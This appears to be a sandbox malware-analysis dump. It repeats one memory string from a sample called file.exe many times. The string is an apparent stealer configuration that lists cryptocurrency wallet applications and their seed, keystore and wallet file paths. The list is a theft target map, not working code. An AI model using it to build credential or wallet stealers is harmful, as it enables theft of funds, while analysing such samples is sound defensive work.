Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2127237618.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia 